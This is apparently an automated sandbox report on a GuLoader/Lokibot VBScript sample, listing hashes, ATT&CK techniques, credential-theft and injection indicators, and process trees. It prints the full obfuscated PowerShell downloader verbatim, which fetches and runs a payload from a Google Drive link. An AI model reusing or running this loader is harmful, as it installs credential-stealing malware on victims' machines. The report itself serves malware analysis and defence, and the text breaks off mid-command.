guloader | b340106056e1f66bc231f34fa020dde1bc782b4bff01ab3693a56e03f233b629

General

Target

b340106056e1f66bc231f34fa020dde1bc782b4bff01ab3693a56e03f233b629.vbe
Size

32KB
MD5

9921d0b5bf80b63899d793f480475cbe
SHA1

424494a62902199accb548a5e071fb457817e5d7
SHA256

b340106056e1f66bc231f34fa020dde1bc782b4bff01ab3693a56e03f233b629
SHA512

cbca7093bd5f08337ea58351d2e0efe757a28736e072f9d22b32e2cfd9496efadb892ae4735d15f2918e2c89b9361094b261ea7bb73f30c64dcbdf11b277edc2
SSDEEP

384:Z9vOg3OXUAF3JEkNcwcFAMQ1NQz32dCesqQdXy/vZ5mZYOvA9N4:Zp3O73JT8m9gTZesRXkYIQ

Score

10^/10

guloader lokibot collection credential_access discovery downloader spyware stealer trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2840	powershell.exe
7	2840	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wabmig.exe
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wabmig.exe
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wabmig.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1800	wabmig.exe
1800	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
284	powershell.exe
1800	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 284 set thread context of 1800	284	powershell.exe	39

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
284	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2840	powershell.exe
284	powershell.exe
284	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
284	powershell.exe
284	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	284	powershell.exe
Token: SeDebugPrivilege	1800	wabmig.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2840	2112	WScript.exe	30
PID 2112 wrote to memory of 2840	2112	WScript.exe	30
PID 2112 wrote to memory of 2840	2112	WScript.exe	30
PID 2840 wrote to memory of 2820	2840	powershell.exe	32
PID 2840 wrote to memory of 2820	2840	powershell.exe	32
PID 2840 wrote to memory of 2820	2840	powershell.exe	32
PID 2840 wrote to memory of 1020	2840	powershell.exe	34
PID 2840 wrote to memory of 1020	2840	powershell.exe	34
PID 2840 wrote to memory of 1020	2840	powershell.exe	34
PID 1020 wrote to memory of 284	1020	cmd.exe	35
PID 1020 wrote to memory of 284	1020	cmd.exe	35
PID 1020 wrote to memory of 284	1020	cmd.exe	35
PID 1020 wrote to memory of 284	1020	cmd.exe	35
PID 284 wrote to memory of 564	284	powershell.exe	36
PID 284 wrote to memory of 564	284	powershell.exe	36
PID 284 wrote to memory of 564	284	powershell.exe	36
PID 284 wrote to memory of 564	284	powershell.exe	36
PID 284 wrote to memory of 520	284	powershell.exe	38
PID 284 wrote to memory of 520	284	powershell.exe	38
PID 284 wrote to memory of 520	284	powershell.exe	38
PID 284 wrote to memory of 520	284	powershell.exe	38
PID 284 wrote to memory of 1800	284	powershell.exe	39
PID 284 wrote to memory of 1800	284	powershell.exe	39
PID 284 wrote to memory of 1800	284	powershell.exe	39
PID 284 wrote to memory of 1800	284	powershell.exe	39
PID 284 wrote to memory of 1800	284	powershell.exe	39
PID 284 wrote to memory of 1800	284	powershell.exe	39

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wabmig.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wabmig.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b340106056e1f66bc231f34fa020dde1bc782b4bff01ab3693a56e03f233b629.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sulfamidic Gavelling Distributrnettet Torturingly Begunstige Confessionalism Crawley #>;$Ratebetalingsntercommunication='Humrforladtes';<#turnhalle Drouths Resistable Lighedspunkt Olu #>;$Ratebetalingsnteressefelt=$host.PrivateData;If ($Ratebetalingsnteressefelt) {$Didymitis++;}function Germania($Barnligt){$Citraternes142=$Barnligt.Length-$Didymitis;for( $Ratebetalings=5;$Ratebetalings -lt $Citraternes142;$Ratebetalings+=6){$Bladmaver+=$Barnligt[$Ratebetalings];}$Bladmaver;}function Talekanalen($Hjertebaandets){ & ($Remans) ($Hjertebaandets);}$Dermoreaction=Germania 'Fo urM He.toL giczCh lciSt yglmethol Sanda,xagg/Nonac5 ogn. Pole0ove.g Sa tl( HypoWS.mteiDruesnAfskidFremfo D giw SoubsSafir SkydeNKtterT,ylvt Inve1Lyso,0 lodt.Enami0Recur;Unrob Miz aWObl viMucednSilki6 Syre4Count;Fi ma ,eskxUdlej6Stnin4Catac;Perso Di.nfrUndisvSundh:Highh1U ion2Asy e1Tingh.Carra0Appr )Pikan .etsmGUdsaveMoistcForovk liosoForar/Unmil2Unpre0 ba a1Still0Swoon0T lre1Slage0 Ekse1 Aug ,utaFSubheiBr.ebrcholteHospif UartoKry,rxCofa /t kis1Nonpe2 bast1Intre. land0 vden ';$Ostealgia=Germania ' AlecUopt.gsNonseeTruckRglott- udieAOveraGRead EFeyesn D,miTRec l ';$Aerosiderolite=Germania 'FoundhLnpost Tehatart.rp be hsHeadr:Fem r/Hyper/Varmed ildr EnetiDrv yvK proeTrito.Ciss gMllesoMan eoTwop g HypolWieraeRegne.brndbcraakooLy phmDeuto/ReturuGispecF odh?KoloneGre.nxInfrepFuldaoLse rrZoophtBensk=BekosdUn onoSammewEctronVavasl AssuoFlageaArbejdnonme&R gioireassdPlanc=Pendl1SplenhEmbas3Ar owUKa.acp ildLDaareFforkmJBackwEPat lzAr ejo MelgG tinsrEsophSOrg,nvP rhaQSynsvRShiveqko stZUnderD egnf5 KvadMRedniUStudeuDyrenGreparb GonodA,cur3ArbouS Sa.tZ revaGPriviVAkkumSDupli ';$Datamaskinelles=Germania ' arce>melle ';$Remans=Germania 'RiddeIOutuseSu.erXGenti ';$Transmits='Dani';$Helhesten147 = Germania 'Me hjeRainfc Varih KoleoDupli Adels%EnthuaTrimnpTr.lnp.arvedTro ra.nwout Ciroa Perp% Il p\ EuctRHeraco Perob Enklo,jaltr otaa R,dgtUndereBivir.skat,UAutoinAn ihs Sprn Arbor&Salme&Water KanoneAlgaec.epiahHfligo lori Ass,ctBullb ';Talekanalen (Germania 'C eck$A damgTartel NutroMarnab ,upeaRanchlBnh e: YderGomstbaUnirrlEtn ge rrepnFaktoiSektetHelafeAl issRacem6,ispe9Ugand=Immes(S pplcT.kmlmSm ltdFored Beco,/Susp cMa hi Bumse$FastiH k lteSoapmlOpsonh.ilfleBasonsHy ektInco.eBes fnHns.r1Forge4Parmi7Sidia) Adon ');Talekanalen (Germania 'undko$RomavgFrag l RecaoLikv bEnchaaArbe.lKra,e:.tateOChevyufalsttSkrivsC mbup Par,aCratonGallesdiscr=Super$ UsikAGeodteOd.nsr Ant.oCribbsSpooniVirtudChicoekollerveksloUd,ollSlidsiHeltitLympheLyng . Ob us trep Cardlfuldbi L vetLaic,(Snegl$Un erD.odesaE.doctKropsaEnmarmRefraaHjlp sU.malkMetafi SrinnAcrobeTr.djl TraplImmoreUddansDemar)B lli ');Talekanalen (Germania 'Toned[SatinN ravmeOldfatPosth.DemokSF edaeIldskrFlyvevFrag.iR bidcViolieS.rapPDelegoMesmeiTrngsn ivertDy epMRepolaBemoun.amilaDummygCissoePanadrSp in]rdlig:Gavst:Hk.enSUnfeleBlegdcHalvfuE.orbrStartiSq,artTaktfy ubisPUnimirChrysojubustrem uoHippocPara oCosmolSyndi ecur=pu.le Spe c[ Imp NSol ie HebdtLetfa. CounSEgomaeUrinic RetsuYmperrProz iTe,mitAdapty PneuPOphidr T deo ArtetBill o tedfcPara o Forsl AnthTFo giy Consp Kn teS esk] Spin:Land :OutsoTCompalKropesMetap1Clyde2Disc ');$Aerosiderolite=$Outspans[0];$Superhistorical= (Germania 'Ge,yt$StorrgSvinelA.matO HypobSl.taA indl rif:N.ndiRSupraEGe,eiUD,fectDaaseI An elAscriiJ.ylesRembuI BagsNMalicgTripa=BirdsN Ops.E CintWMisco-T ombO NrinBVammeJnanniE CapacAmbleTAtten BjrkesTautoy ritcsSkilltFamoue wungm Vulv.Part.n LangeFleett Ydel. b.dwwKnfale PladBTryllC SideLSign I Kamme.pasmNUnr,pt');$Superhistorical+=$Galenites69[1];Talekanalen ($Superhistorical);Talekanalen (Germania 'Ch,et$forktRSlimmeDe.tsu EnketReobsiChlorl rocriDekorsUrethiDecyln Brang Stip. SprjHKatteeElemhaGuilfdBru ee SoverRew dsModfo[Kniks$ edraOBand skberntStatse nrasa ForblSo,acgMyrrhiLudolaBolth]Ove,b=Cryst$AntisDMaggieOpstnr c ramMultioVerdir PreyeEre oa ippecFunkttWindoiTrus.oUs.ornC,rne ');$Innest=Germania 'Desmo$ProviRDe igeAnisbuAdjutt Kar iBib,ilBadg.iNrsynsOrgani SekunPretagRe zi.OverdD.uftfoL kalwmanihn AsfmlMatrioJordba Hyald KosmF,lathi NonilBegree Ridg( part$barnaAM.sabeHorserP pilo Klges BrseiSke ldU aeneBarserTeleooDel,glSan,tiNavnltko mae Espa,Unath$ ErinMHampeeVegstrSekstoEf ulpRaadmi SupeaCompusHolla),ruta ';$Meropias=$Galenites69[0];Talekanalen (Germania 'He.mi$OverbGStikllEnligOso erBFeti,aP,efoLUefte:kulsoPSpknilKugleeSuperCPr sit Del,R .imaE Spor=Borup(MadagTMe,iaeEye oSGuldaTUefte-AnkomPAr,olANonentE helhSnob Rid,e$Dechem Ul,reN,rmaRIdnhkOFrostPFinjuiDenizABe iasSu,ps)Straf ');while (!$Plectre) {Talekanalen (Germania 'Cockn$ Ind.g OrielOd ntoSemi,bVr.ihaUnderl onna:HimmeBSensaoMalobrtrgretuntorlDim noFibrod etad L akeSuperrMet p=fr mk$FilostDisplrDupwaubyggeePhala ') ;Talekanalen $Innest;Talekanalen (Germania 'SyzygSFl.rttFu hia entrrSjlfutKopie-Ca vaSCivi l ,cieeIodo.eRingvpTredv Virre4Forud ');Talekanalen (Germania 'Fremt$StiktgPr aclKattioHydribUbehaaFrnnelClino: SkipPByguelTropieBrn,ec DiabtShemir Cavee Hand=Abiet(AmbolTSabl.eRehidsVov htAmmod-For rPMyofiaPiotetU neahSnegl Puff $SplinMJawtwe AntirFr vloSpitepatt niCo.ntaGlottsU ork)Skip ') ;Talekanalen (Germania 'Aphod$HoboigCy,tol Almbo.ekatbre teaS okklKnowi:SlaaeFskjoreBas.bcReferuGlgninBa bldPamp,aSkumgtGligaiGr skoSterlnVulpe= S or$phallgu clol Chono IndibRvesaaPussll Bevi: Sv tVCircue ortsr nodb ytmia UngalPol.iiDermazFrysee Feus+Fitti+Staff% .orm$ In,aO Vagtu DgndtSljens,rfabpHandsaTaut.nSt lds Rels.BackrcSkorpoLsgnguSe imn onktSpeci ') ;$Aerosiderolite=$Outspans[$Fecundation];}$Afskumningernes=320006;$Fragtraterne=29409;Talekanalen (Germania ' Endo$ VrksgFabullWetcho Its b Opt.aAmarylEksku:.kikkv.ndryaPedalaSnurpbPentae Ta.inFiffis KompmCalamuCul eg Telel dmugirigsanAt ragmi ros Ness Samp=Bevir NonsGAgoraeDublet eks-forsiCtineioDr ukn .glitMa cae ilbanVejentQuara Gedeh$ParocM CocheFinkmrQidnooSmertpLalpai UncaaOu,grsStrsk ');Talekanalen (Germania 'Glaum$VendigCreatl.oddeoMrk,pbBeaanaMentalWobl :SteriDBor ojForbivBilfoethermlskralsDo nwk,ncomeIn stsDe re Af.an=Shoes Kabin[LimfaS SavkyLaborsBatiktDetoneriddlmudp r.Eq iaCP ehaoSp ldnErganv Drape Cicar orldtPsi,o]Adj d:Jus i:AstraFUnvisrRe ieoBorgemReserBFirmaaStedesofficePref,6Impr,4Ma orSNonsutBarchrNyhediLnpronPossig elfr(humid$ t anvRe,isa TimoaPontibBorgeeVagtsnIntersRammemsmkreu,phthgGlyoxlFunktiAlsi.nP.ocegRecapsstruk)Adun ');Talekanalen (Germania 'Ragin$autofgPrecolKukstoSor ib C noa ollalPhosp:J.ledDAspiryScourrAlde,t ,yppi Videdsherie forhrOktaenVred eKron. Tildr=Prewr tachy[ dersSBararySe,resCatalt barheDaginmAra,a.Ha,roThalvaeClusixEn ydtConst.FyldeE Beh.nSu pacRaadioRugmedPantei,amblnU rangSvlge]Cor o:barse:AnecdABam uSpile COutbrIGreg,Iberve.V skeGBlowge PagitDdsfoSplacitNettor MyeliUndernOv rcgepemb(polys$Spo vDDea ljBrillvEvil e ParalkatjasMakrokInd ae Equas,esth)U der ');Talekanalen (Germania 'Bedst$BanjogAntislSk ifoSkovsbNeonsaUdgralAfskr:sw shI brennCoexitInspie ForbgNoteauNabofmBedyreGentanBortdtmrklaaAlrunlUndk,=Ta tr$MiscoDBjergySalinr ajortEjakui allid Bl,fetidsbrStentn N tae Anti. ompasAvelluAccombunfa.sRea rtGas.rr BelgiBestrnAsshog Scan( U,in$SlrinASu laf Li osSubvekLurdau a admNeissn Ov,riVigtenF gesgViolieUnscrr KontnBoysrean mas Om u, .ank$ Ro.tFLjpesrFasteaTilb,gSkakbtSuperrvil yaskrmmt,venee CamprfolkenTegnieunneu)Unren ');Talekanalen $Integumental;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Roborate.Uns && echo t"
    3⤵
    PID:2820
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Sulfamidic Gavelling Distributrnettet Torturingly Begunstige Confessionalism Crawley #>;$Ratebetalingsntercommunication='Humrforladtes';<#turnhalle Drouths Resistable Lighedspunkt Olu #>;$Ratebetalingsnteressefelt=$host.PrivateData;If ($Ratebetalingsnteressefelt) {$Didymitis++;}function Germania($Barnligt){$Citraternes142=$Barnligt.Length-$Didymitis;for( $Ratebetalings=5;$Ratebetalings -lt $Citraternes142;$Ratebetalings+=6){$Bladmaver+=$Barnligt[$Ratebetalings];}$Bladmaver;}function Talekanalen($Hjertebaandets){ & ($Remans) ($Hjertebaandets);}$Dermoreaction=Germania 'Fo urM He.toL giczCh lciSt yglmethol Sanda,xagg/Nonac5 ogn. Pole0ove.g Sa tl( HypoWS.mteiDruesnAfskidFremfo D giw SoubsSafir SkydeNKtterT,ylvt Inve1Lyso,0 lodt.Enami0Recur;Unrob Miz aWObl viMucednSilki6 Syre4Count;Fi ma ,eskxUdlej6Stnin4Catac;Perso Di.nfrUndisvSundh:Highh1U ion2Asy e1Tingh.Carra0Appr )Pikan .etsmGUdsaveMoistcForovk liosoForar/Unmil2Unpre0 ba a1Still0Swoon0T lre1Slage0 Ekse1 Aug ,utaFSubheiBr.ebrcholteHospif UartoKry,rxCofa /t kis1Nonpe2 bast1Intre. land0 vden ';$Ostealgia=Germania ' AlecUopt.gsNonseeTruckRglott- udieAOveraGRead EFeyesn D,miTRec l ';$Aerosiderolite=Germania 'FoundhLnpost Tehatart.rp be hsHeadr:Fem r/Hyper/Varmed ildr EnetiDrv yvK proeTrito.Ciss gMllesoMan eoTwop g HypolWieraeRegne.brndbcraakooLy phmDeuto/ReturuGispecF odh?KoloneGre.nxInfrepFuldaoLse rrZoophtBensk=BekosdUn onoSammewEctronVavasl AssuoFlageaArbejdnonme&R gioireassdPlanc=Pendl1SplenhEmbas3Ar owUKa.acp ildLDaareFforkmJBackwEPat lzAr ejo MelgG tinsrEsophSOrg,nvP rhaQSynsvRShiveqko stZUnderD egnf5 KvadMRedniUStudeuDyrenGreparb GonodA,cur3ArbouS Sa.tZ revaGPriviVAkkumSDupli ';$Datamaskinelles=Germania ' arce>melle ';$Remans=Germania 'RiddeIOutuseSu.erXGenti ';$Transmits='Dani';$Helhesten147 = Germania 'Me hjeRainfc Varih KoleoDupli Adels%EnthuaTrimnpTr.lnp.arvedTro ra.nwout Ciroa Perp% Il p\ EuctRHeraco Perob Enklo,jaltr otaa R,dgtUndereBivir.skat,UAutoinAn ihs Sprn Arbor&Salme&Water KanoneAlgaec.epiahHfligo lori Ass,ctBullb ';Talekanalen (Germania 'C eck$A damgTartel NutroMarnab ,upeaRanchlBnh e: YderGomstbaUnirrlEtn ge rrepnFaktoiSektetHelafeAl issRacem6,ispe9Ugand=Immes(S pplcT.kmlmSm ltdFored Beco,/Susp cMa hi Bumse$FastiH k lteSoapmlOpsonh.ilfleBasonsHy ektInco.eBes fnHns.r1Forge4Parmi7Sidia) Adon ');Talekanalen (Germania 'undko$RomavgFrag l RecaoLikv bEnchaaArbe.lKra,e:.tateOChevyufalsttSkrivsC mbup Par,aCratonGallesdiscr=Super$ UsikAGeodteOd.nsr Ant.oCribbsSpooniVirtudChicoekollerveksloUd,ollSlidsiHeltitLympheLyng . Ob us trep Cardlfuldbi L vetLaic,(Snegl$Un erD.odesaE.doctKropsaEnmarmRefraaHjlp sU.malkMetafi SrinnAcrobeTr.djl TraplImmoreUddansDemar)B lli ');Talekanalen (Germania 'Toned[SatinN ravmeOldfatPosth.DemokSF edaeIldskrFlyvevFrag.iR bidcViolieS.rapPDelegoMesmeiTrngsn ivertDy epMRepolaBemoun.amilaDummygCissoePanadrSp in]rdlig:Gavst:Hk.enSUnfeleBlegdcHalvfuE.orbrStartiSq,artTaktfy ubisPUnimirChrysojubustrem uoHippocPara oCosmolSyndi ecur=pu.le Spe c[ Imp NSol ie HebdtLetfa. CounSEgomaeUrinic RetsuYmperrProz iTe,mitAdapty PneuPOphidr T deo ArtetBill o tedfcPara o Forsl AnthTFo giy Consp Kn teS esk] Spin:Land :OutsoTCompalKropesMetap1Clyde2Disc ');$Aerosiderolite=$Outspans[0];$Superhistorical= (Germania 'Ge,yt$StorrgSvinelA.matO HypobSl.taA indl rif:N.ndiRSupraEGe,eiUD,fectDaaseI An elAscriiJ.ylesRembuI BagsNMalicgTripa=BirdsN Ops.E CintWMisco-T ombO NrinBVammeJnanniE CapacAmbleTAtten BjrkesTautoy ritcsSkilltFamoue wungm Vulv.Part.n LangeFleett Ydel. b.dwwKnfale PladBTryllC SideLSign I Kamme.pasmNUnr,pt');$Superhistorical+=$Galenites69[1];Talekanalen ($Superhistorical);Talekanalen (Germania 'Ch,et$forktRSlimmeDe.tsu EnketReobsiChlorl rocriDekorsUrethiDecyln Brang Stip. SprjHKatteeElemhaGuilfdBru ee SoverRew dsModfo[Kniks$ edraOBand skberntStatse nrasa ForblSo,acgMyrrhiLudolaBolth]Ove,b=Cryst$AntisDMaggieOpstnr c ramMultioVerdir PreyeEre oa ippecFunkttWindoiTrus.oUs.ornC,rne ');$Innest=Germania 'Desmo$ProviRDe igeAnisbuAdjutt Kar iBib,ilBadg.iNrsynsOrgani SekunPretagRe zi.OverdD.uftfoL kalwmanihn AsfmlMatrioJordba Hyald KosmF,lathi NonilBegree Ridg( part$barnaAM.sabeHorserP pilo Klges BrseiSke ldU aeneBarserTeleooDel,glSan,tiNavnltko mae Espa,Unath$ ErinMHampeeVegstrSekstoEf ulpRaadmi SupeaCompusHolla),ruta ';$Meropias=$Galenites69[0];Talekanalen (Germania 'He.mi$OverbGStikllEnligOso erBFeti,aP,efoLUefte:kulsoPSpknilKugleeSuperCPr sit Del,R .imaE Spor=Borup(MadagTMe,iaeEye oSGuldaTUefte-AnkomPAr,olANonentE helhSnob Rid,e$Dechem Ul,reN,rmaRIdnhkOFrostPFinjuiDenizABe iasSu,ps)Straf ');while (!$Plectre) {Talekanalen (Germania 'Cockn$ Ind.g OrielOd ntoSemi,bVr.ihaUnderl onna:HimmeBSensaoMalobrtrgretuntorlDim noFibrod etad L akeSuperrMet p=fr mk$FilostDisplrDupwaubyggeePhala ') ;Talekanalen $Innest;Talekanalen (Germania 'SyzygSFl.rttFu hia entrrSjlfutKopie-Ca vaSCivi l ,cieeIodo.eRingvpTredv Virre4Forud ');Talekanalen (Germania 'Fremt$StiktgPr aclKattioHydribUbehaaFrnnelClino: SkipPByguelTropieBrn,ec DiabtShemir Cavee Hand=Abiet(AmbolTSabl.eRehidsVov htAmmod-For rPMyofiaPiotetU neahSnegl Puff $SplinMJawtwe AntirFr vloSpitepatt niCo.ntaGlottsU ork)Skip ') ;Talekanalen (Germania 'Aphod$HoboigCy,tol Almbo.ekatbre teaS okklKnowi:SlaaeFskjoreBas.bcReferuGlgninBa bldPamp,aSkumgtGligaiGr skoSterlnVulpe= S or$phallgu clol Chono IndibRvesaaPussll Bevi: Sv tVCircue ortsr nodb ytmia UngalPol.iiDermazFrysee Feus+Fitti+Staff% .orm$ In,aO Vagtu DgndtSljens,rfabpHandsaTaut.nSt lds Rels.BackrcSkorpoLsgnguSe imn onktSpeci ') ;$Aerosiderolite=$Outspans[$Fecundation];}$Afskumningernes=320006;$Fragtraterne=29409;Talekanalen (Germania ' Endo$ VrksgFabullWetcho Its b Opt.aAmarylEksku:.kikkv.ndryaPedalaSnurpbPentae Ta.inFiffis KompmCalamuCul eg Telel dmugirigsanAt ragmi ros Ness Samp=Bevir NonsGAgoraeDublet eks-forsiCtineioDr ukn .glitMa cae ilbanVejentQuara Gedeh$ParocM CocheFinkmrQidnooSmertpLalpai UncaaOu,grsStrsk ');Talekanalen (Germania 'Glaum$VendigCreatl.oddeoMrk,pbBeaanaMentalWobl :SteriDBor ojForbivBilfoethermlskralsDo nwk,ncomeIn stsDe re Af.an=Shoes Kabin[LimfaS SavkyLaborsBatiktDetoneriddlmudp r.Eq iaCP ehaoSp ldnErganv Drape Cicar orldtPsi,o]Adj d:Jus i:AstraFUnvisrRe ieoBorgemReserBFirmaaStedesofficePref,6Impr,4Ma orSNonsutBarchrNyhediLnpronPossig elfr(humid$ t anvRe,isa TimoaPontibBorgeeVagtsnIntersRammemsmkreu,phthgGlyoxlFunktiAlsi.nP.ocegRecapsstruk)Adun ');Talekanalen (Germania 'Ragin$autofgPrecolKukstoSor ib C noa ollalPhosp:J.ledDAspiryScourrAlde,t ,yppi Videdsherie forhrOktaenVred eKron. Tildr=Prewr tachy[ dersSBararySe,resCatalt barheDaginmAra,a.Ha,roThalvaeClusixEn ydtConst.FyldeE Beh.nSu pacRaadioRugmedPantei,amblnU rangSvlge]Cor o:barse:AnecdABam uSpile COutbrIGreg,Iberve.V skeGBlowge PagitDdsfoSplacitNettor MyeliUndernOv rcgepemb(polys$Spo vDDea ljBrillvEvil e ParalkatjasMakrokInd ae Equas,esth)U der ');Talekanalen (Germania 'Bedst$BanjogAntislSk ifoSkovsbNeonsaUdgralAfskr:sw shI brennCoexitInspie ForbgNoteauNabofmBedyreGentanBortdtmrklaaAlrunlUndk,=Ta tr$MiscoDBjergySalinr ajortEjakui allid Bl,fetidsbrStentn N tae Anti. ompasAvelluAccombunfa.sRea rtGas.rr BelgiBestrnAsshog Scan( U,in$SlrinASu laf Li osSubvekLurdau a admNeissn Ov,riVigtenF gesgViolieUnscrr KontnBoysrean mas Om u, .ank$ Ro.tFLjpesrFasteaTilb,gSkakbtSuperrvil yaskrmmt,venee CamprfolkenTegnieunneu)Unren ');Talekanalen $Integumental;"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1020
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Sulfamidic Gavelling Distributrnettet Torturingly Begunstige Confessionalism Crawley #>;$Ratebetalingsntercommunication='Humrforladtes';<#turnhalle Drouths Resistable Lighedspunkt Olu #>;$Ratebetalingsnteressefelt=$host.PrivateData;If ($Ratebetalingsnteressefelt) {$Didymitis++;}function Germania($Barnligt){$Citraternes142=$Barnligt.Length-$Didymitis;for( $Ratebetalings=5;$Ratebetalings -lt $Citraternes142;$Ratebetalings+=6){$Bladmaver+=$Barnligt[$Ratebetalings];}$Bladmaver;}function Talekanalen($Hjertebaandets){ & ($Remans) ($Hjertebaandets);}$Dermoreaction=Germania 'Fo urM He.toL giczCh lciSt yglmethol Sanda,xagg/Nonac5 ogn. Pole0ove.g Sa tl( HypoWS.mteiDruesnAfskidFremfo D giw SoubsSafir SkydeNKtterT,ylvt Inve1Lyso,0 lodt.Enami0Recur;Unrob Miz aWObl viMucednSilki6 Syre4Count;Fi ma ,eskxUdlej6Stnin4Catac;Perso Di.nfrUndisvSundh:Highh1U ion2Asy e1Tingh.Carra0Appr )Pikan .etsmGUdsaveMoistcForovk liosoForar/Unmil2Unpre0 ba a1Still0Swoon0T lre1Slage0 Ekse1 Aug ,utaFSubheiBr.ebrcholteHospif UartoKry,rxCofa /t kis1Nonpe2 bast1Intre. land0 vden ';$Ostealgia=Germania ' AlecUopt.gsNonseeTruckRglott- udieAOveraGRead EFeyesn D,miTRec l ';$Aerosiderolite=Germania 'FoundhLnpost Tehatart.rp be hsHeadr:Fem r/Hyper/Varmed ildr EnetiDrv yvK proeTrito.Ciss gMllesoMan eoTwop g HypolWieraeRegne.brndbcraakooLy phmDeuto/ReturuGispecF odh?KoloneGre.nxInfrepFuldaoLse rrZoophtBensk=BekosdUn onoSammewEctronVavasl AssuoFlageaArbejdnonme&R gioireassdPlanc=Pendl1SplenhEmbas3Ar owUKa.acp ildLDaareFforkmJBackwEPat lzAr ejo MelgG tinsrEsophSOrg,nvP rhaQSynsvRShiveqko stZUnderD egnf5 KvadMRedniUStudeuDyrenGreparb GonodA,cur3ArbouS Sa.tZ revaGPriviVAkkumSDupli ';$Datamaskinelles=Germania ' arce>melle ';$Remans=Germania 'RiddeIOutuseSu.erXGenti ';$Transmits='Dani';$Helhesten147 = Germania 'Me hjeRainfc Varih KoleoDupli Adels%EnthuaTrimnpTr.lnp.arvedTro ra.nwout Ciroa Perp% Il p\ EuctRHeraco Perob Enklo,jaltr otaa R,dgtUndereBivir.skat,UAutoinAn ihs Sprn Arbor&Salme&Water KanoneAlgaec.epiahHfligo lori Ass,ctBullb ';Talekanalen (Germania 'C eck$A damgTartel NutroMarnab ,upeaRanchlBnh e: YderGomstbaUnirrlEtn ge rrepnFaktoiSektetHelafeAl issRacem6,ispe9Ugand=Immes(S pplcT.kmlmSm ltdFored Beco,/Susp cMa hi Bumse$FastiH k lteSoapmlOpsonh.ilfleBasonsHy ektInco.eBes fnHns.r1Forge4Parmi7Sidia) Adon ');Talekanalen (Germania 'undko$RomavgFrag l RecaoLikv bEnchaaArbe.lKra,e:.tateOChevyufalsttSkrivsC mbup Par,aCratonGallesdiscr=Super$ UsikAGeodteOd.nsr Ant.oCribbsSpooniVirtudChicoekollerveksloUd,ollSlidsiHeltitLympheLyng . Ob us trep Cardlfuldbi L vetLaic,(Snegl$Un erD.odesaE.doctKropsaEnmarmRefraaHjlp sU.malkMetafi SrinnAcrobeTr.djl TraplImmoreUddansDemar)B lli ');Talekanalen (Germania 'Toned[SatinN ravmeOldfatPosth.DemokSF edaeIldskrFlyvevFrag.iR bidcViolieS.rapPDelegoMesmeiTrngsn ivertDy epMRepolaBemoun.amilaDummygCissoePanadrSp in]rdlig:Gavst:Hk.enSUnfeleBlegdcHalvfuE.orbrStartiSq,artTaktfy ubisPUnimirChrysojubustrem uoHippocPara oCosmolSyndi ecur=pu.le Spe c[ Imp NSol ie HebdtLetfa. CounSEgomaeUrinic RetsuYmperrProz iTe,mitAdapty PneuPOphidr T deo ArtetBill o tedfcPara o Forsl AnthTFo giy Consp Kn teS esk] Spin:Land :OutsoTCompalKropesMetap1Clyde2Disc 